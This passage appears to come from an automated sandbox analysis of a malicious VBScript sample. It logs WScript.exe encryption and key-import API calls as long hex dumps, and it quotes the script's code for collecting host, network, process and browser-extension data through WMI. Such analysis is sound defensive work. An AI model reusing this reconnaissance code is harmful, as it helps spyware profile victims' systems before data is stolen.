c694cbbd2546c5612c1b1d8d861ecb53f2ac497e57b8cdde41aae0eac61afcf7982ea642ef6d28b8d48993946fff1c8b3ad80e9807c295f9ca3904c99968eb1e60a06e000442afb026778e"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "d6fc0def790a0e90092c0fbce6eca8671a9a219c76dcc6f0955e2884272b2be9457514104602dabd85c551ed856b7f53962585234ec61d25c59cbb0c83e1278cb3d3dd6f0f3b3eb3cb484948f22315e4ac24414f69c7073ee8b938d9f5a163909491c6ff643e40c327e2ac64eadbafead8919343e927e86a54d37c9bca57aff88464842017614ad966da474b607c493811d9710f460786e78cc13b6c767bd045b82f363a285e011447ec27c48ec39219c2fa247f0f7d7658d89715967ea021f93a1cf6de6aef9c879856247f1c58e100bd3f2d114b43688f6ab1637e873c25b2b39e"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "8565a1a717ecbe0a7772cafe2dcbe8ed644b23c67591b15d3db811f65c61d1b84b6a0fb03708f8a2b701dcdd8be3d8392f78d8c751313a169f33eb84c02b5adbef216b6a18b42da7a2d391ad34339e3f1fd96c4ed583a0d21f81c5009b2048fbaa6e8b3ccce33693b61e615970fe456060694f2156bfff277def4a30df4b6a8763407795c7b035886c35ecfe707d91bcd5f0ed9d678f5875b1478d723e1348812a15fceacb2a93d291753c5907df235049fb4a639e0359622bfd2ee997f999397648ca0597dc2b0a8f31f966e7f74d7164dcd6d50be61cd2bb8dd875d584f0d9214d92171e8085e42b9366a0ce795e67d38bb53086536cb8d25d24e31aa32d52382eca0156fe75f904c74d4e7fb7488f70482136d250836d73782857dedcd5cebfcb96edc0c0fd883723e37182db4ee0994e7e1ef2b87933ef7ad8492cc83d30f7776372268368a47834411aa53d2c97d1b212680a8ceddfd653507b6a4d90b6d789eef441b9f16afb9bf8bfe5f3a3a0b86eb3cd42d950e65923d6d28458ba49000056c846fba4e56c968f9b4e60ab6932687367d4140135328cd8cb4b996563b4a89a879da64c9f5ab0609665a24f7a34489b03ee7b9d4a8408c45f67185e4e2e0f8ad45cae3664d1bf6a1deb41bf9f298ed4b341da3bf88adbc41b530e9d5ac5a479077895638ebfe9154ff30c1bf1441e1366c4359f95895c89939ad449ec6fdd2939480f8d79f33589197596ee0ac0c18fa9f1bbee0e1b744e161a3371cde858355fce5f47bed540065b5282e1595f687f818ad91657e675803891f0ebbcbbbaeabceb1657e99d4c91ecfb60a65ccdb77a62091455ca7630f641df5b4d3ad9bc919dc313a79d2dd2ec93787c837f29cb6b0d9d064c407ae57018a83af904ceb6149602aa7a9f342b3b968804d1fec5d70f7d6853ce777cadc9cbead245c2b3cdfd258974503019bc8ea3844f84cc57913656dc4825b478891e0153e25a7f57ca1a2a6bb6c86bdcecda1bb6f752ac1c364293672f94efcfb788e7e42186880d78b3fc93f6f076464dd46b68b242ee5cdfe5064032dc3411385955b6642350f89484706807785799ec143eb552320b6b99ebb588c53787a4308228c41e412fd6096aeafee9cd67d241ecd750983c7f0b2379622951d905654ac3a514a2da4cf27bdaa26d5da72edcc69774d4540ae8ecb6aff5876624fa4a76562b2d76e05c3ea4d6d2454159b7ad0e39eeed561cf1d22378aa11f8a04a55439e57789288b149d9d91713efaffe7bbeab9e7986b99b60dab84825074d79658cc8ca2b207ffeafceb55e40fd2c731e45cec4430a653bb8abf568b2bba10234545bea766d0c21aa634bded72a4d3d517fe50ff2ae02827b352ab0ddaa2fe4973641e53f213fcc323fbfeac077697e23e5adf9225ec7a4dfeab2bb424ed4a47277216b333960c2"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "010f34469e6806c7158e0eb8cfea10b0d297fad0df3614907f82bf46721af155907ef538744e06f2ea142d4dc6f000ce0105bbf1c27c86b6c33d139d828429a224bcaf17aa2773af761bba75f5cc88a46e5fa37b54c048fd9cb08a41a4e312580f08d21cf5c79bc2f53426dd8a68612ef1c91c3d4315c06f2b3770a23a3361b2e288d1d64593df8e2fd0b51e5745c9b0616bf642bd3bffe51986c393c8a00c16ad1e4f805f055a33515f22cc391e1b54dd94a3d0958a0f05d5f8374cb46c8398e6e7e99785fbb1ee93090a440d68c8ca9b11ea72e90079f5fc1f5335888a3a10bcef"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "7ccece5c3b8a8062e9e8837639fdce3665d685815efd929aaf31d1f937d3e4dca68ff424b8fe01fe311e8da500337afa5090545b46e91ef06ca396702fbebbbdb70b1711bd76c7d8c669c13222627b4bd7fc13a6636ac753c3a7f6daed2c0ddbde7a919e0ba85cabbab5d3782b7ed633027041e9c6d0c2ee206396ee172dd83ceb05a925061f3ab978cc9cdda76ff89834d724499d8381f54f81152b1173443d9b1ea26165a13720dd4556a2f88455fc44802279cca84c093add85ccb78674eefb5e24c00236164e85ae380e1e1abcfc4b6424d9a0a96d6d08bea5656890dec7a0f7dd27e9d1357d6f53471623262dc1fd2afe58aa821d23167a10bd4932c37c9dc1819501dcfa94a82e0006fa91ca9b5bd917c0ebe58b3e6bc4b050427dda7e337250c9410647f2e72e98127d471c669e8dee0d2a58d59154a758b66b5b0516821864cf46de576d2ef0ace913d684ad87f275372aaa11a7d986153e6f44d64eda36af35dc373e548b74ff56107344c903a4717808b46ecd783f81718331c0bbbd459eae1c871408dfd3169bc41c155f34dd83a4d711fd4aff521389e7d14e7e9f4c1444eaad93a1cbc980d561f4c8805d52954f273272a9b35b903080bf7f5c9e227c62d06949cbf9813a6797720dd045ee6a0e00dc6369c4d76010c494340230b008305236efe67a4aaaab4b82aef43cfd7774dbd3805458b76509d3548cc66889c923cb5c76d277e6d5c92539e821320cfb0eced7ee195856297596d140b69330a0ce55b5d3cd13ce075e05a1266fa45bd21e927feb86089ae56cdb6cbb991c584b4a0b152dfb955106e71c69b6ff1f3abb5e437777c94804b0008e95511fcb9ee2af63c940ffc6b0c9ad421bd0119dc4003096fdbcbd9d1fcfee391d4d45e1fb59959522d628f211be1c82efd147d5ddf8b8500ad40ac4afcc37b2e140c7a9f260d4e4a34d78f67a6a884a0a6a3449eed00b769aa87b077f953c1ad421861cf29fd2b3f873e72d7401ee60976dbc2948499ba2404af5526269285f0c72fcbde4b23e9d494414d1dc5a1598b5ec29ead78566252207ddd657c78e3c95ef32df51bd41eef4f9be87f53b7625fb0b506f627d2efe33ae313cffa18c2711ac54b5c8dd2c63d3aac29dc90dd4af468a885b8e062fd17917f4e9f7e41f8fe998819853a3b58f0aba638e7142a1687e5c188f6213908d2b5ecec446113c9ca965ef7785beeec637ebaa25995c91e0d331f989cec78be68ef06c93e678d3e4a1efa33f605e9d334ec9445511f714782302f64a17c6e5f622d80eb7fa26c8c9ba242381481e48222e573579753dcb83ba78eb00c7332fbd349fd0fed7c42f5c6a211f9f8a2a4c1d401d140484f57f4c71ad1ef3593cca3cc943acbc96cec6785b259d73e46dedbc1d6c35f17ef42775c913bbd074a3bc2a60a9f56d59c927dc3ad667"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "309a91e9c8101a37e8688a226c622f6698374118600ca8d539f643faf2af8b45d0349e6a66a1f9903a65df89534eda3ff0868f95ff078b58183f4517874d5848e9ceb021b46dec4d504137642e07d21afea0aec2df12c8829eae7cd90b2ab422e8d83f2ec1b94578b4a34f2cd0dae9f6bcf7570a2d1c7518b589abb282dfaf6ca441d4481c53a9a2ade2346eb17bd00684ac82a26f19f68c71212d13b50ca5684d4687ef79faade24f0c49872b884f868a9a8bc748ea764e9c33285e2710292274b0c3dc812c7fbd7407f419ebf24fee34d0753b69679ac059fea85845e3ae5f5bf3"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "b0c1431ab066e86f6c242aeb3ef8c828ebc201aa767745bf8b1c10f1edc83df00edc6051804c8d983779df4f5d1be7df427bbb8754544814234f91bf62484f15717ec527e9f28e2c712e33c76ef24efd440779a422324a0cbf7b70de32a5ea1efec582d2785699f028d2d2a2f61f554d5b9ed629631fc8bd0240dc4a4dc242cd61e446c65878d54264b30806ad7378c1725a9f02821259d0b2275441a9cf9ddb8f5f061e8e60c415bd7ed41058aab8d96aae139bc255a0aecf94c6dcaa55ebd568a92ede09c37c68634bd831b96c333c49a705be4038d2195819d41f3b9d921af1edc2a630a291406b13ff124cbf4a4ac88587fb1aea2a8702fc8e46473c8c60b8dcb8df4f91c78346fa6d4614aa1a83385acac040e266ceb9568c8255cc934f2bba4df767e16b341fa0c4758cb62079b036a33a47e6c8850f8e9f4e2e83973219b58460cd856f29e4f46083f7325c2be5dc1df811521855dbe788cc0f172a7c10ef05fece44190fbd1b0713c67f052253a0fba7ed27e910eb9a0aee09f53c26e6a5e379a629f1eeff604b8d1151afa85f6ce6400b5bf315f3793f7092c8bee8ae9597220a2ca4bd81a2303932c7b6f2f03738baf50dfb360bf9d00e09c3d80078ec34560194e00358c8eb3d7aa99ea60e56ff63d86fa75c431b93bfa37582d11a20798abc40db4ee44188d6fa7d0df729cd293f4e6f7f3738aab825618bc2e7f9aad5e8569af6ecc9d077a32fc3948515b7857765d5ce019da5fb2a49381fba3439cea64cd02eec67f67ba73c24e53aa30aebe3506b7306bbbbceaaaed166f9ce6b7e66e4885416e19db86b739c72908ee97dc09ec952bc7fda6478fe25c9400b032e9b2a0acba736baee065a657c79a71f19b2fbdeb87f8930df553a49f02f5d0b6c42e33dd7b660052120c8e3aac4bae1a723f1dd6e3238cb0624dc3b7d533ddfcc7bbf2a0f468df1509d1b8dba0f07047f3737c1fb941a3245555a048c0204c411c4136272a3e405a257460e3dc6052a9eca0b3047425714733375f2692c5b932a41254a3915411bfc85049903d8945c2c18c2bd5e22806c179667539ed6f4a58cf39e8b691aa2ba7032f344ea8f4ce1110a1cde643bb42887165c22b8b23329205a9f24e410894edf3710d74e49cacbb72ac40d12e84eae955cd216e527fcd0f65f7d6ef8d19b1d3a9ba4b1a3aed4d7adfa0c16ca3ea04ef283078b48d624b039e7f03e14f09a3edbd2d62b4da8752021d881811d73c994811ed034bd28298207e8c689e7589e3011816d9608a2279cc46fc893e585bf3109a50609773cf2fe4b890f1a206eadcab09924e03eb927371bc81b15780c71fe8183e24cd78006817f3c3ce6a7b0cab6045d325163b543989e1f742c708f2bb783a51a2ffbd449b0fc241a836e3781ca80f4a8c272e2bca26693d3aa0f860b6e4b7c818ae866"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "9489d8750485527877ba2db260196952df806c08c6a1ad71841df910b766118aa3729af45be151a9ddecbee48ba1d66b7aff3ca9600845ac9393df23982b04fb923aef6ebdcf5ed941adc3762d0276baa8421154e013c33bce60eea984d5c15a101adf1c68929c8009a9ec3541af844b8f612a027e85e05054802f01a69e5b3d85d2eaee229f0e7535f07a5e3ed9e8c0590ce133a7cc42cde9f2bf03f0d2861cf6c70eb695ffe8f7d817081eb1fde5acbc7ba5f2c9bec3f7c49c08f843053300574823f9af2d94fac147c16423c2e552b7520ce2e71a9a82fe23d13d48f6de58a888"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "a829d71107d17f9636e7c30376fd0b1caff4da81680eb618a1f3452380191f8fa087e81cfe9ad752f0462d7d2a2b34c093be2dc8cd508bd71ba18913ebe021a7b0003de8737f06e4f700c3723817f5220f29a94717e13a0cb330c5b368bc4d9bbee8a0e79b53ac68713ea9ce169f3a076ae7d4ffcbfb2f4a56685dc0fc45df5d128856e0ab9054a6edfebfc7a8b589a78a217e32fb4568ad7677178be2df0ec46f2791be94d74dbee2d6a8b72bd1b60d82889cdddf76b6f3dd0d19ea539beb0c99515c7c5f5a535c9a96f6d455f2bf8549813fcdbd11ae295e188822fad7a6a81668ca95a877ad3b3254c224d1fed617e1ea762e32ca5ebcc50d2aa6722b752f27471617aabd3bade0d482226f77e097c13743da5f9e0459d43f75d89ab9cbcad00a51d4798d8718869fc9694ed747fc3e075ade40b5e6db31639233e8fa5bed8c5af40c3c93768d1052889a7b9edc992a29079077b708241c40f2a7f523b904853753f4feff1d4d9af80de9229d7206ef91df8494e01ed66beab46738fd87a8be2a561f3e5a2b7f032105dc28ded6d22c3789aa77e82dc1fe374fc1ec991713dc16e3cd8d60f207f6d2bf576c6248f1132965873ac34e4705b59fd009eb71daa92bbcecd1cefc51dcaaa1df56c68539c1151393cd3d75c3dd517ba61acf445060ce7bf80937092f009b7217d13b836a737ce6204d18fb68d1c7bf8f506920e3b587ce118037d300ceab760bef40b6e2d6d7b78f2d67b4c8c94b79aa2d43770900b110681faf6e7f8ab121fa81b57535908a2846de3879adc2dee0335069e686219117032d0bd7cc31afa90e2047a87ef6eae1503bcd8dfefabce481d6502ff4296a7bb716f076188e847c489c6cfd3135da44e1663498d26bde0f2fe65ce37e5044f9466fc203be561d41f1d631c44b0cf4946add8a5019fa085756e2e4606e5c1b7deafd2794711e5116f3083b82d3a8245f82f61cbe1cd2b5bf2d6132348da0467be961951fdb882bdcd0e2df8c6b4d07d777bcf63d80df80000c56d481ee235336a1db0479f5225f687994178555bd629519725c0bb83d5909c92ce0ba277acfad1375d054dc6cb135ba2c0e9aa1b7464387d2d43125d254bc8e5e8e27ff2212d1c4ed182f3ceb0e5d9372a918a1669782b4c4bf626dd09cd3e5e507eaf640a4ab0aa873681aa49b3e780ce208381d040240704150c93b7c8cb9457fec8e35d8cb527d7441c402b6f108f6a990d02cdb69a1a50987dc0ff11a09a764ffa9bbe30e48adc8c821663691c9f5c24d9f5e9aaa7c71f534842a9194c99bb56eac56797e06700ef4711adae01848396e46d10fba3989b76a6224ba47651763ae945666aa6b833342337fe956b4505257074ad3243e123a4d6e58c8602285f9f511163f8bc0529300dfcbd9c431074aa2ac1b7f40445670ae90b1e0f847841fbb96"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "ad1acf2ff8a51d5c613b9718d1c5b4657643c9a3f0431c81eb9da0484eabe6ee51c431f556a6deb9f12d526fa45a6d281cbfe4a60806c3e05ef168595fbe28cad81ebc7a279f5a8d17702226d65508071e59d1f780106bd150ba4c6115055cefa4776b0bb858cfda18e2e178ea393f3bca9a094aad37e982764ec2cb58ecce63ae090b9b83474e602c62b07215f24a6ffe39ad828c8ff485b77865b768164b9726bd09bf7da7757a426d8cdf1ab3ce3765f1d79ae79594086503e2d931c8bfeed7784022c04446fe8d9853e524f5c3cd4cb451a48050001258fa764c6ff053391b9c"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "39d72f1b042fca66b8bc9d9424b0d01e62fd2373a5b0af57d640183aa8b03cbe3b4a3bca58fa7d961e97f5ed7cff8c79a6106a13618dce1bf974b0611d113f1ad58877a4b201c9ec7e15265207ce280742707fd9e9c46abda347c88d9554b1068e3567067244e2b752ec9cae9f5623ef8f5b32a33ff1fad3180cac18ea40b9b67c084bed162827b3d9f19e1dc7e74ffb2f911a8244e29569a22cde1d0a6f0d0597fdabfb20b8c9a8752634aa2bceec624ab5ba2c8bdf035e95c5fae88abbf1c3c677e4b77695ea53eaa3f905b0a29cbbd3977541134d20136833f16393607048b8db12fe671c47402903a05dccf085f21051ea52c78fa13abd19533553f4d20a4d5839e3f11c9a7392e111ed1f0886274c0085b84cd090024dba1a7cb8f7021ac0190174bb0def3f544157d73e616a28a89c6b693bc028e28c3f7bdce9d0cb284118b123c2badf30a843da44790f44cc7504ec9eef7d84367b03f2f279ad080cc185ba0705b9c2fe313c30cd6a416be30f41cb00837c6d3f7b15a9adf15f7181bde5b501ac53be7d7957adbf9a02063f058dfd6a36496879abbb4581220728fe80505a7c0d727be66d0107c4942b885a68319567ee21070299cbdf9ae5ae16d1ea65401e92deb392f5dfb94dd983c5544c3e3f9ca493d02755d00535e303410e07435ac3515a30ac1c99b494f80386888490403fb0e9faa27bf28037b76b20d47a09f0a0814f9ebcdb67406487dbf04cfb18f7b0504c7b84feac68dbb7c8a6c6d4757cf4e736f031e8c7eca088145eb45b76b1ac3585f166d250ae415e0c4317b32aacabdc59ed4469bc88b2eee650ab95b0ae524c3b587a2766a996d630dcc78ac2356d52eaff7be2a17fd8ae13de42157faab5badc9cf5430647ad7cc4a5a9b83d5b4c5a0203d135c9ba2fcc05b0fbbc9a07f2b39a7116d2e9660d2306f3c1e1ceb771366ffd7ba9b565010f0da086fdfa4eb8a7acc228e2bd91f3afa729e6b6e98899bab749ca6a8f80909b94ed426d700cbf4a33f2f2ae4e0543d038545b819166ad8b275cea377523bffe9b87ef4413a0463447e9801fac7815bf920e816bc820493bed66525628a112769280447cb2d85aa7bb35f8af72d1388398483a7abf4a3ac66f66237bab08781b97f0be9caa169081b9e0c0aae4fea2b0cfcb76a60eb5fa60c51bf2acd13801e488fb1d22e0f5031d4ff2fb683070042ebae6e9cc9ab4327368d1e28091569e92e6a402e343a96ddb796b3defb72824d2281e45e66fcd28749b2aa53230a52966bea45c3beb362703189133e2abdf337695ecd0abbfa219b78dd1c7a6d5aeb76b357617bf2b3b289c91a930bfd614bb4753a2a8e4b51d3a3134a8fe2291cfd8edacd765df13f1424a096f2bd268acfbba8f2139e6fe0e7c09b275490544dc8210d5c857d94374008ee190c779a30772209f9982"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "142a3590971c46913c69633de3509bdd6e7bc50e466d4613aabb4cbe340ccedf059ed8540090ad11baec43adf7f80f17eb4f497f4bbc73d1bef35902ab46232840a0fab06b0e92297fc4d68572bc1c6019b8f4f9e9d0c9dc53b32c7532305c854984af1684729c98bc6cf41bba8e9a1ed295e2666ed608f375495f92cca9d16b3b87435a8b430e566d7cae828c11b942f104d5a090d90dcd4542d67889f8ba8bb70420cb1f11125895bbbf477265104513a47a895ee6b69d3bd30e5fb654be248faf6fc576d20c45be188e9a980ad130bde93ced1561c175e634fd4c895d5b7ea780"}42:T1c15,"WScript.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "1ee947de2e0" "pszBlobType": "OpaqueKeyBlob" "phKey": "90e47d94ee010000" "pbKeyObject": "be0c000052555555e0e27d94ee010000b0e47d94ee0100000000000000000000800c00004b53534d02000100050000001000000001000000800000000100000060dc7d94ee01000000000000000000000000000000000000100000000e488534530c176e920cb9cf9920b45d00000000000000000000000000000000000000000e488534530c176e920cb9cf9920b45db8c5c9daebc9deb479c5677be0e5d32663a33e3b886ae08ff1af87f4114a54d2b1838bb939e96b36c846ecc2d90cb81047ef418c7e062abab640c6786f4c7e687e1c0424001a2e9eb65ae8e6d916968e198c1d111996338fafccdb6976da4de70e6f892917f9baa6b83561cfceef2c28511ebda246e70704fed266cb303d4ae36dc8aca62b2faba2d5fdcd69e5c0878ae1dfd27fcaf079dd1f0db4b4facd333eb5033128705beacc657b7eec4f0e7d14b463f87fc558dbe4152094202a7503f875286bf7713b239bd0784fc43f5597d805ca287e0413486ca1436c5fef2dd81c2da8d31401d96012a55024334e6eb443745fb8f62c71b306a4894421eb3e90703d7b0741582e0bf088f8f7274fb7d4512063ec6a65550cb1d0d6fcd7c74f2376ae9203514536e0dbb583f0661799dfa10e488534530c176e920cb9cf9920b45d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b0e57d94ee01000050e67d94ee010000000000000000000000000000000000007a518653f3006a20e98deb7d88c4b08b93dc6d2e7bc4daabe98deb7d88c4b08bb91965ebbcdd6b85595420b0bfbcba92e04d455b0361d117595420b0bfbcba92527e38e4bef2a9e066c9f747cf1772d634b7cfa371e5db3666c9f747cf1772d6f44a46e56baabc1de7a2bec434783b8513e8f8215fd28798e7a2bec434783b85358585de11d102a7e68e7d90f0a66ac2d30bf84ee1776865e68e7d90f0a66ac2e24381955fe742a7e95cf052fac558690b1f71c7a5221acee95cf052fac55869112bca827db09e94fcae66e2b1c84a07ed85ac60cc78d493fcae66e2b1c84a07c66ca7e0de764be39c2c7f85c722fcf35a40d8651954b7109c2c7f85c722fcf34e25b313c57699e85299fa862f0763061cbc4995ea71faee5299fa862f076306876193a5999b13dc872def4286fca5d9004c7ce71f67b605872def4286fca5d9967de6f854f701c6ae7ea03b76105014380346c322e751d2ae7ea03b76105014dcebed9e038fb71498454767cece87db44aeaaf9cd4130cf98454767cece87dba0a96e69a0a49faa6155af47adc1f7d0" "cbKeyObject": "3262" "pbInput": "300200004b53534d02000100050000001000000080000000100000000e488534530c176e920cb9cf9920b45d00000000000000000000000000000000000000000e488534530c176e920cb9cf9920b45db8c5c9daebc9deb479c5677be0e5d32663a33e3b886ae08ff1af87f4114a54d2b1838bb939e96b36c846ecc2d90cb81047ef418c7e062abab640c6786f4c7e687e1c0424001a2e9eb65ae8e6d916968e198c1d111996338fafccdb6976da4de70e6f892917f9baa6b83561cfceef2c28511ebda246e70704fed266cb303d4ae36dc8aca62b2faba2d5fdcd69e5c0878ae1dfd27fcaf079dd1f0db4b4facd333eb5033128705beacc657b7eec4f0e7d14b463f87fc558dbe4152094202a7503f875286bf7713b239bd0784fc43f5597d805ca287e0413486ca1436c5fef2dd81c2da8d31401d96012a55024334e6eb443745fb8f62c71b306a4894421eb3e90703d7b0741582e0bf088f8f7274fb7d4512063ec6a65550cb1d0d6fcd7c74f2376ae9203514536e0dbb583f0661799dfa10e488534530c176e920cb9cf9920b45d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000040010000000000000000000000000000000000000000000000000000" "cbInput": "560" "dwFlags": "0"} "WScript.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "1ee947de2e0" "pszBlobType": "OpaqueKeyBlob" "phKey": "d0f17d94ee010000" "pbKeyObject": "be0c000052555555e0e27d94ee010000f0f17d94ee0100000000000000000000800c00004b53534d02000100050000001000000001000000800000000100000060dc7d94ee01000000000000000000000000000000000000100000005507ff78533b088d3d9c86c251aac45d00000000000000000000000000000000000000005507ff78533b088d3d9c86c251aac45df81bb3a9ab20bb2496bc3de6c716f9bbbd82596f16a2e24b801edfad4708261689751ecf9fd7fc841fc9232958c1053ff91e6ba566c997217900b40821c1b13791d6f158f71f66798e1fd271afde6346ac2dab215b32cd58d52d1f297af37c6fe13d03fbba0fcea36f22d18a15d1ade55fa8daa2e5a714018a85c58b9f54686e64ed4579814a51780bcf94f3949bfc9d465d1b5bc7174a23ccd8ded05843224d83aad34fd207ddea1e45dc24027eb6a413ff93f051ad0ea5cc4201ce1c3b6a80f86b52e542529d559def0f6bd0796b4efa59eb43ba39cfb0dfbd923e4d9664255b49fc00406024f365845d8e922bf61b2854e8bd1b29d8f325e4797df7afab955e2393c3337d304e3ecda18ed24bd2e83ff7c9086d5ea38d0db091c0ec86736662dec08552a96a8560ee324de136e2a65507ff78533b088d3d9c86c251aac45d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0f27d94ee01000090f37d94ee010000000000000000000000000000000000000826476e7c8e897dcd5fff70c98cc164c579b81eb5024819cd5fff70c98cc16443f08cf8dfc2875c8fc577e5e0852e1dcc35fb1d3f47a9418fc577e5e0852e1d1b38acebacd3d39e404874ca286eb5675b70d82184bd66f9404874ca286eb567e7b8f634f3cb17a810626c8d9da997c3f7da9ab96e62806b10626c8d9da997c3dd337a7b653aa979de245cff08be6310031726846d84ca69de245cff08be63106823f56de951343749736166eb0051302150940b0251650749736166eb0051309867e40d3e634ca32673dbcb75e6003dbe143fc64b854c9e2673dbcb75e6003d65d57d9442bc0e197bc22e859b8153c51e175311d93d5ddc7bc22e859b8153c5dc51c5bd0c6ca23710f3b9e0ea02ddc4cca27c5de66e7ff310f3b9e0ea02ddc4b6ecb9159b83925beb26d303f843bea15dca6a1663c02cfaeb26d303f843bea18db804f65b73847d7334f7c9520d47e0fe8cf33f097ec39d7334f7c9520d47e0338217e0ed38a29a38fbc77baefba1070b79d09b43c3039d38fbc77baefba10734264675b3fa9b25e783958a6f6a8796" "cbKeyObject": "3262" "pbInput": "300200004b53534d02000100050000001000000080000000100000005507ff78533b088d3d9c86c251aac45d00000000000000000000000000000000000000005507ff78533b088d3d9c86c251aac45df81bb3a9ab20bb2496bc3de6c716f9bbbd82596f16a2e24b801edfad4708261689751ecf9fd7fc841fc9232958c1053ff91e6ba566c997217900b40821c1b13791d6f158f71f66798e1fd271afde6346ac2dab215b32cd58d52d1f297af37c6fe13d03fbba0fcea36f22d18a15d1ade55fa8daa2e5a714018a85c58b9f54686e64ed4579814a51780bcf94f3949bfc9d465d1b5bc7174a23ccd8ded05843224d83aad34fd207ddea1e45dc24027eb6a413ff93f051ad0ea5cc4201ce1c3b6a80f86b52e542529d559def0f6bd0796b4efa59eb43ba39cfb0dfbd923e4d9664255b49fc00406024f365845d8e922bf61b2854e8bd1b29d8f325e4797df7afab955e2393c3337d304e3ecda18ed24bd2e83ff7c9086d5ea38d0db091c0ec86736662dec08552a96a8560ee324de136e2a65507ff78533b088d3d9c86c251aac45d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000040010000000000000000000000000000000000000000000000000000" "cbInput": "560" "dwFlags": "0"} "WScript.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1ee9484a300" "pszBlobType": "RSAPUBLICBLOB" "phKey": "0@" "pbInput": "RSA1" "cbInput": "291" "dwFlags": "0"} "WScript.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1ee9484b480" "pszBlobType": "RSAPUBLICBLOB" "phKey": "A" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"}43:T16b2,Found string "UName = ""Dim ObjWMI, colItems, objItemSet ObjWMI = GetObject("winmgmts:\\" & fcom & "\root\CIMV2")Set colItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem", , 48)For Each objItem In colItemsIf Not IsNull(objItem.UserName) ThengetUName = objItem.UserNameEnd IfNextEnd FunctionFunction getInfo()getInfo = ""Dim ObjWMI, osItems, item, wdate, csItems, tzItems, tzitem, cTZ, UtcName, timezoneDim cpuItems, cpuArch, adapItems, adapterSet ObjWMI = GetObject("winmgmts:\\" & fcom & "\root\CIMV2")Set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")Set wdate = CreateObject("WbemScripting.SWbemDateTime")For Each item In osItemsOn Error Resume NextgetInfo = getInfo & "Hostname:" & tab & item.CSName & entgetInfo = getInfo & "OS Name:" & tab & item.Caption & " " & item.OSArchitecture & entgetInfo = getInfo & "OS Version:" & tab & item.Version & entIf Not IsNull(item.InstallDate) Thenwdate.Value = item.InstallDategetInfo = getInfo & "Install" (Indicator: "wmi.exe"; in File: "kim_jong_un_is_a_fat_ugly_pig.vbs"), Found string "Date:" & tab & GetFormattedDate(wdate.GetVarDate(True)) & entEnd IfIf Not IsNull(item.LastBootUpTime) Thenwdate.Value = item.LastBootUpTimegetInfo = getInfo & "Boot Time:" & tab & FormatDateTime(wdate.GetVarDate(True)) & entEnd IfNextSet csItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")Set tzItems = ObjWMI.ExecQuery("SELECT * FROM Win32_TimeZone")For Each item In csItemscTZ = item.CurrentTimeZoneNextFor Each tzitem In tzItemsUtcName = tzitem.StandardNameNexttimezone = "(UTC " & CStr(cTZ / 60) & " hours) " & UtcNamegetInfo = getInfo & "Time Zone:" & tab & timezone & entSet cpuItems = ObjWMI.ExecQuery("SELECT * FROM Win32_Processor")For Each item In cpuItemsSelect Case item.ArchitectureCase 0: cpuArch = "x86"Case 6: cpuArch = "Itanium"Case 9: cpuArch = "x64"Case Else: cpuArch = "Unknown"End SelectgetInfo = getInfo & "CPU:" & tab & tab & item.Name & " (" & cpuArch & ")" & entNextgetInfo = getInfo & "Path: " & tab & WScr" (Indicator: "wmi.exe"; in File: "kim_jong_un_is_a_fat_ugly_pig.vbs"), Found string "ipt.ScriptFullName & ent & entSet adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)For Each adapter In adapItemsOn Error Resume NextIf Not IsNull(adapter.IPAddress) ThengetInfo = getInfo & "Network Adapter:" & tab & adapter.Description & entgetInfo = getInfo & " MAC Address:" & tab & adapter.MACAddress & entgetInfo = getInfo & " IP Address:" & tab & Join(adapter.IPAddress, ",") & entgetInfo = getInfo & " Subnet Mask:" & tab & Join(adapter.IPSubnet, ",") & entgetInfo = getInfo & " Default Gateway:" & tab & Join(adapter.DefaultIPGateway, ",") & entIf adapter.DHCPEnabled = True ThengetInfo = getInfo & " DHCP Servers:" & tab & adapter.DHCPServer & entEnd IfgetInfo = getInfo & " DNS Server:" & tab & Join(adapter.DNSServerSearchOrder, ",") & entEnd IfNextEnd FunctionFunction getProc()getProc = ""On Error Resume NextDim objWMIService prclst prcSet objWMIService = GetObject("winmgmts:{impersonationLevel=imperson" (Indicator: "wmi.exe"; in File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "ate}!\\" & fcom & "\root\cimv2")Set prclst = objWMIService.ExecQuery("Select * from Win32_Process")For Each prc In prclstIf InStr(1, prc.Name, "svchost", 1) = 0 And prc.ProcessID <> 0 And prc.ProcessID <> 4 ThengetProc = getProc & ent & CStr(prc.ProcessID) & tab & CStr(prc.SessionID) & tabIf IsNull(prc.CommandLine) ThengetProc = getProc & prc.NameElsegetProc = getProc & prc.CommandLineEnd IfEnd IfNextEnd FunctionSub AddChromeStyleExtensions(fso, dict, basePath)Dim folder subfolder keyIf Not fso.FolderExists(basePath) Then Exit SubIf fso.FolderExists(basePath & "Default\Extensions") ThenOn Error Resume NextFor Each subfolder In fso.GetFolder(basePath & "Default\Extensions").SubFolderskey = LCase(subfolder.Name)If Not dict.Exists(key) Then dict.Add key 